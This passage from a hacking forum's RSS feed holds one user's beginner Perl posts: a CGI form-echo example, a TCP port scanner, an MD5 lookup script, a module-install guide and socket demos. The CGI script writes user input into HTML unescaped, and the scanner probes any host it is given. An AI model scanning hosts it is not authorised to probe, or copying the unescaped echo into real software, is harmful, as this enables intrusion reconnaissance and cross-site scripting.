\&quot;&amp;lt;h1&amp;gt;HTML test page for iExploit perl-cgi example&amp;lt;/h1&amp;gt;\&quot;;<br>print \&quot;&amp;lt;hr /&amp;gt;\&quot;;<br>print \&quot;&amp;lt;h2&amp;gt;The value you input is&amp;#58; $input&amp;lt;/h2&amp;gt;\&quot;;<br>print \&quot;&amp;lt;hr /&amp;gt;\&quot;;<br>print \&quot;Thanks, Semtex-Primed\&quot;;<br>print \&quot;&amp;lt;/body&amp;gt;\&quot;;<br>print \&quot;&amp;lt;/html&amp;gt;\&quot;;<br></pre></div><br><br>So let me walk you through whats going on here. In the HTML page your being asked to enter a value/word or whatever you want. The page then using the GET method sends the value to the perl-cgi script (notice action="cgi-bin/example.cgi"). But anyway this isn't a HTML forms tutorial so you should know that already.<br><br>Moving on to the cgi script, the script reads the values and splits the name of the incoming info and the value for the named input. We then put the value we want into a variable within the script. This is done here&gt; "$input = $FORM{input};" 'input' on the html form is the name of that particular input being sent. So that corresponding value is read and saved to the variable $input.<br><br>Next we create a webpage using perl/cgi to output the data you input on index.html.<br><br>This script also demonstrates writing the html code line-by-line instead of using the block style in the last script.<br><br>Hope you've learned something more about the capabilities of perl-cgi and thanks. Again for cgi to work on your web-server you will need to enable it. I'll be writing a tutorial on how to enable/config it within apache2 soon.]]></description>
   </item>
   <item>
      <title>Simple Port Scanner</title>
      <link>http://iexploit.org/index.php?p=/discussion/2539/simple-port-scanner</link>
      <pubDate>Sun, 20 Mar 2011 01:28:55 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">2539@/index.php?p=/discussions</guid>
      <description><![CDATA[Nice and simple, probably one of the first perl programs I made using sockets.<br><br><div class="PreContainer"><pre>#!/usr/bin/perl<br># Perl Port Scanner<br># Semtex-Primed<br>use IO&amp;#58;&amp;#58;Socket;<br><br>if(@ARGV != 3){<br>	print \&quot;Semtex-Primed\n\&quot;;<br>	print \&quot;Learn how to use this!!!\n\&quot;;<br>	print \&quot;$0 &amp;#91;start port&amp;#93; &amp;#91;end port&amp;#93; &amp;#91;host&amp;#93;\n\&quot;;<br>        print \&quot;Example&amp;#58; $0 1 65535 127&amp;#46;0&amp;#46;0&amp;#46;1\n\&quot;;<br>	exit 1;<br>}<br>if($ARGV&amp;#91;0&amp;#93; &amp;gt; $ARGV&amp;#91;1&amp;#93;){<br>	print \&quot;The Start port is higher then End port&amp;#58; Sort it out!\n\&quot;;<br>	exit 1;<br>}<br>for($i = $ARGV&amp;#91;0&amp;#93;; $i &amp;lt;= $ARGV&amp;#91;1&amp;#93;; ++$i){<br>	$host = new IO&amp;#58;&amp;#58;Socket&amp;#58;&amp;#58;INET(<br>		PeerAddr =&amp;gt; $ARGV&amp;#91;2&amp;#93;,<br>		PeerPort =&amp;gt; $i,<br>		Proto =&amp;gt; 'tcp',<br>		Timeout =&amp;gt; 1<br>	);<br>	if($host){<br>		print \&quot;Port $i is OPEN\n\&quot;;<br>	} else {<br>		print \&quot;Port $i is CLOSED\n\&quot;;<br>	}<br>}<br>exit;</pre></div>]]></description>
   </item>
   <item>
      <title>Perl-CGI Example-01</title>
      <link>http://iexploit.org/index.php?p=/discussion/2522/perl-cgi-example-01</link>
      <pubDate>Fri, 18 Mar 2011 00:22:40 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">2522@/index.php?p=/discussions</guid>
      <description><![CDATA[Well I got the examples idea from chronic and thought i'd add some variety into the perl section. CGI is server side scripting, you can create CGI scripts in several languages, python being another example but perl being the focus of this example.<br><br><div class="PreContainer"><pre>#!C&amp;#58;/Perl64/bin/Perl&amp;#46;exe -w<br># CGI Example1<br>use CGI;<br><br>print \&quot;Content-Type&amp;#58; text/html\n\n\&quot;;<br><br>print &amp;lt;&amp;lt;\&quot;EOF\&quot;;<br>&amp;lt;HTML&amp;gt;<br>&amp;lt;HEAD&amp;gt;<br>&amp;lt;TITLE&amp;gt;Hello, world!&amp;lt;/TITLE&amp;gt;<br>&amp;lt;/HEAD&amp;gt;<br><br>&amp;lt;BODY&amp;gt;<br>&amp;lt;h1&amp;gt;Hello, world!&amp;lt;/h1&amp;gt;<br>&amp;lt;hr&amp;gt;<br>&amp;lt;p&amp;gt;This is a crappy example for you guys &amp;#58;P&amp;lt;/p&amp;gt;<br>&amp;lt;hr&amp;gt;<br>&amp;lt;/BODY&amp;gt;<br>&amp;lt;/HTML&amp;gt;<br>EOF</pre></div><br><br>As you can see, this script looks pretty much in the broad aspect like a normal perl script. Notice the "use CGI;". CGI can be scripted a few ways, another being to 'print' every single line of HTML or like this example script a block of HTML code and then print it. This is the easiest :P<br><br>For Perl-CGI what do you need to know? HTML, and to a degree a fair amount of perl. You can create a simple HTML page, however for complex pages which involve forms, variable handling, POST/GET you'll need to know perl if you want it all integrated into one script. You could use a seperate script however that'd be pretty much pointless.<br><br>If you want to try this example out, fiddle about with it and have a go. Make sure you change "#!C:/Perl64/bin/Perl.exe" to where ever your perl is, usually in *nix "/usr/bin/perl" or "C:/Perl/bin/Perl.exe" for windows x86/32bit]]></description>
   </item>
   <item>
      <title>MD5 hash finder</title>
      <link>http://iexploit.org/index.php?p=/discussion/2130/md5-hash-finder</link>
      <pubDate>Sun, 16 Jan 2011 04:30:27 -0500</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">2130@/index.php?p=/discussions</guid>
      <description><![CDATA[Here's a script I was messing about with to learn perl. Read my comments if you want to run it. It doesn't crack hashes you enter a word and it searches for the hash.<br><br><div class="PreContainer"><pre>#!/usr/bin/perl<br># Pointless MD5 finder I made when learning&amp;#46;<br># Just enter a word and it'll search for your hash on rednoize&amp;#46;com&amp;#46;<br># You need to install Digest&amp;#58;&amp;#58;MD5 from cpan&amp;#46;org<br># Semtex-Primed - iExploit&amp;#46;org<br>use LWP&amp;#58;&amp;#58;UserAgent;<br>use Digest&amp;#58;&amp;#58;MD5 qw(md5_hex);<br>$browser = LWP&amp;#58;&amp;#58;UserAgent-&amp;gt;new;<br>while(1){<br>	print \&quot;Enter word to search for&amp;#58;\n\&quot;;<br>	$hash = &amp;lt;STDIN&amp;gt;;<br>	chomp($hash);<br>	$seek = \&quot;http&amp;#58;//md5&amp;#46;rednoize&amp;#46;com/?=$hash&amp;b=MD5-Search\&quot;;<br>	$browser-&amp;gt;get($seek) or die \&quot;Failed to send request!\n\&quot;;<br>	print \&quot;$hash\&quot; &amp;#46; \&quot;&amp;#58;\&quot; &amp;#46; md5_hex(\&quot;$hash\&quot;) &amp;#46; \&quot; found\&quot; &amp;#46; \&quot;\n\&quot;;<br>}</pre></div>]]></description>
   </item>
   <item>
      <title>Installing Perl Modules [Linux]</title>
      <link>http://iexploit.org/index.php?p=/discussion/1982/installing-perl-modules-linux</link>
      <pubDate>Sun, 02 Jan 2011 04:38:26 -0500</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">1982@/index.php?p=/discussions</guid>
      <description><![CDATA[Ok, well as in other languages you need header files or modules to use specific features such as the cmath header in C++ to use certain maths functions you need to do the same in Perl. These neccessary files are known as modules, perl modules or .pm files.<br><br>For instance we will take the libnet as an example:<br><br>we go to <a class="postlink" rel="nofollow" href="http://search.cpan.org/">http://search.cpan.org/</a> and search for "libnet" this should bring up several results but we want the bundle (which should be the first result). Here's the link eitherway. Now we've found the module page you'll see on the right hand side the download link... download it and note where you save it.<br><br>Find the downloaded file/module using a shell and run the following to decompress the tarred file:<br><div class="PreContainer"><pre>gzip -dc file&amp;#46;tar&amp;#46;gz | tar -xof -</pre></div><br><br>Then to unpack the resulting file use:<br><div class="PreContainer"><pre>tar -xof file&amp;#46;tar</pre></div><br><br>The above will give you an extracted directory. Enter this directory using "cd directory/". Then type:<br><div class="PreContainer"><pre>perl Makefile&amp;#46;PL</pre></div><br><br><div class="PreContainer"><pre>make</pre></div><br><br><div class="PreContainer"><pre>make test</pre></div><br><br>You don't really need to be root for the previous commands however you now need to switch to root if you haven't already using either "sudo su" then enter your password or:<br><div class="PreContainer"><pre>sudo make install</pre></div><br>Then enter your password when requested.<br><br>That ladies and gents is your perl module installed. To include the perl module just add this to the start of your script&#58;<br><div class="PreContainer"><pre>use Net&amp;#58;&amp;#58;Libnet</pre></div><br><br>This guide was made with the knowledge I picked up from CPAN.org so the guides may be similar.<br>S-P]]></description>
   </item>
   <item>
      <title>Simple Client/Server Socket</title>
      <link>http://iexploit.org/index.php?p=/discussion/1863/simple-clientserver-socket</link>
      <pubDate>Wed, 22 Dec 2010 21:52:55 -0500</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">1863@/index.php?p=/discussions</guid>
      <description><![CDATA[Just been pissing about/experimenting with perl sockets... here's a little program i've made that connects to a local server and you can send messages back to the server.<br><br>Client<br><div class="PreContainer"><pre>#!/usr/bin/perl<br>use IO&amp;#58;&amp;#58;Socket;<br>my $sock = new IO&amp;#58;&amp;#58;Socket&amp;#58;&amp;#58;INET (<br>				PeerAddr =&amp;gt; 'netbook1-linux',<br>				PeerPort =&amp;gt; '8880',<br>				Proto =&amp;gt; 'tcp',<br>				);<br>die \&quot;Could not create socket&amp;#58; $!\n\&quot; unless $sock;<br>print $sock \&quot;Connected!!\n\&quot;;<br>while ($sock) {<br>	print \&quot;Connected, here's your choices\n\&quot;;<br>	print \&quot;1&amp;#46; Say Hello\n\&quot;;<br>	print \&quot;2&amp;#46; quit\n\&quot;;<br>	print \&quot;&amp;gt;&amp;gt; \&quot;;<br>	$choice = &amp;lt;STDIN&amp;gt;;<br>	chomp ($choice);<br>	if ($choice eq \&quot;1\&quot;) {<br>		print \&quot;What is your msg?\n\&quot;;<br>		print \&quot;&amp;gt;&amp;gt; \&quot;;<br>		$msg = &amp;lt;STDIN&amp;gt;;<br>		chomp($msg);<br>		print $sock (\&quot;$msg \n\&quot;);<br>		system(\&quot;clear\&quot;);<br>	} elsif ($choice eq \&quot;2\&quot;) {<br>		close($sock);<br>		exit<br>	}<br>}</pre></div><br>Server:<br><div class="PreContainer"><pre>#!/usr/bin/perl<br>use IO&amp;#58;&amp;#58;Socket;<br>my $sock =  new IO&amp;#58;&amp;#58;Socket&amp;#58;&amp;#58;INET (<br>				LocalHost =&amp;gt; 'Netbook1-Linux',<br>				LocalPort =&amp;gt; '8880',<br>				Proto =&amp;gt; 'tcp',<br>				Listen =&amp;gt; 1,<br>				Reuse =&amp;gt; 1,<br>				);<br>die \&quot;Could not create socket&amp;#58; $!\n\&quot; unless $sock;<br>my $new_sock = $sock-&amp;gt;accept();<br>while (&amp;lt;$new_sock&amp;gt;) {<br>	print $_;<br>}<br>close($sock);</pre></div><br><br>Going to mess about with this a bit more and then report back on how far I get. Going to hopefully take this a lot further as i'm trying to avoid an assignment. But hopefully this might help anyone who wants to learn perl sockets.]]></description>
   </item>
   <item>
      <title>Maths Machine Perl Ed [Basic!]</title>
      <link>http://iexploit.org/index.php?p=/discussion/1783/maths-machine-perl-ed-basic</link>
      <pubDate>Thu, 09 Dec 2010 02:38:35 -0500</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">1783@/index.php?p=/discussions</guid>
      <description><![CDATA[Well I was insanely bored and was pissing about with Perl and thought i'd do a Perl version of the Math's Machine I did in C++. I've not done much Perl coding and it's probably highly offensive coding to a pro perl coder but hey :P... hope you learn something... I did! (I have way too much spare time today)<br><br><div class="PreContainer"><pre>#!/usr/bin/perl<br><a rel="nofollow" href="/index.php?p=/profile/header">@header</a> = (<br>	\&quot;	&amp;#91;+&amp;#93;----------------------------&amp;#91;+&amp;#93;\n\&quot;,<br>	\&quot;	&amp;#91;+&amp;#93;                            &amp;#91;+&amp;#93;\n\&quot;,<br>	\&quot;	&amp;#91;+&amp;#93;        Semtex-Primed       &amp;#91;+&amp;#93;\n\&quot;,<br>	\&quot;	&amp;#91;+&amp;#93;    Maths Machine (Perl)    &amp;#91;+&amp;#93;\n\&quot;,<br>	\&quot;	&amp;#91;+&amp;#93;            V0&amp;#46;1a           &amp;#91;+&amp;#93;\n\&quot;,<br>	\&quot;	&amp;#91;+&amp;#93;                            &amp;#91;+&amp;#93;\n\&quot;,<br>	\&quot;	&amp;#91;+&amp;#93;----------------------------&amp;#91;+&amp;#93;\n\&quot;<br>);<br><a rel="nofollow" href="/index.php?p=/profile/menu">@menu</a> = (<br>        \&quot;	&amp;#91;+&amp;#93;                            &amp;#91;+&amp;#93;\n\&quot;,<br>        \&quot;	&amp;#91;+&amp;#93;   1&amp;#46; Basic Maths           &amp;#91;+&amp;#93;\n\&quot;,<br>        \&quot;	&amp;#91;+&amp;#93;   2&amp;#46; Pythagoras            &amp;#91;+&amp;#93;\n\&quot;,<br>        \&quot;	&amp;#91;+&amp;#93;   3&amp;#46; Area                  &amp;#91;+&amp;#93;\n\&quot;,<br>        \&quot;	&amp;#91;+&amp;#93;                            &amp;#91;+&amp;#93;\n\&quot;,<br>	\&quot;	&amp;#91;+&amp;#93;----------------------------&amp;#91;+&amp;#93;\n\&quot;<br>);<br>$menuchoice = \&quot;true\&quot;;<br>while ($menuchoice eq \&quot;true\&quot;) {<br>system \&quot;clear\&quot;;<br>system \&quot;cls\&quot;;<br>print <a rel="nofollow" href="/index.php?p=/profile/header">@header</a>;<br>print <a rel="nofollow" href="/index.php?p=/profile/menu">@menu</a>;<br>print \&quot;&amp;gt;&amp;gt;Choose an option \&quot;;<br>	$choice = &amp;lt;STDIN&amp;gt;;<br>	chomp ($choice);<br>	if ($choice eq \&quot;1\&quot;) {<br>		system \&quot;clear\&quot;;<br>		system \&quot;cls\&quot;;<br>		print <a rel="nofollow" href="/index.php?p=/profile/header">@header</a>;<br>		print \&quot;              *** Welcome to Basic Maths ***\n\&quot;;<br>		print \&quot;&amp;gt;&amp;gt;Enter your first number \&quot;;<br>		$num1 = &amp;lt;STDIN&amp;gt;;<br>		chomp ($num1);<br>		print \&quot;&amp;gt;&amp;gt;Enter your operator \&quot;;<br>		$op = &amp;lt;STDIN&amp;gt;;<br>		chomp ($op);<br>		print \&quot;&amp;gt;&amp;gt;Enter your second number \&quot;;<br>		$num2 = &amp;lt;STDIN&amp;gt;;<br>		chomp ($num2);<br>		if ($op eq \&quot;+\&quot;) {<br>			$answer = $num1 + $num2;<br>			print \&quot;The answer to $num1 added to $num2 equals $answer\n\&quot;;<br>		}<br>		elsif ($op eq \&quot;-\&quot;) {<br>			$answer = $num1 - $num2;<br>			print \&quot;The answer to $num1 subtract $num2 equals $answer\n\&quot;;<br>		}<br>		elsif ($op eq \&quot;/\&quot;) {<br>			$answer = $num1 / $num2;<br>			print \&quot;The answer to $num1 divided by $num2 equals $answer\n\&quot;;<br>		}<br>		elsif ($op eq \&quot;*\&quot;) {<br>			$answer = $num1 * $num2;<br>			print \&quot;The answer to $num1 multiplied by $num2 is $answer\n\&quot;;<br>		} else {<br>			print \&quot;Error - try again\n\&quot;;<br>		};<br>	};<br>};</pre></div><br><br>Nowhere near finished by the way... only have the basic maths function working.<br>S-P]]></description>
   </item>
   </channel>
</rss>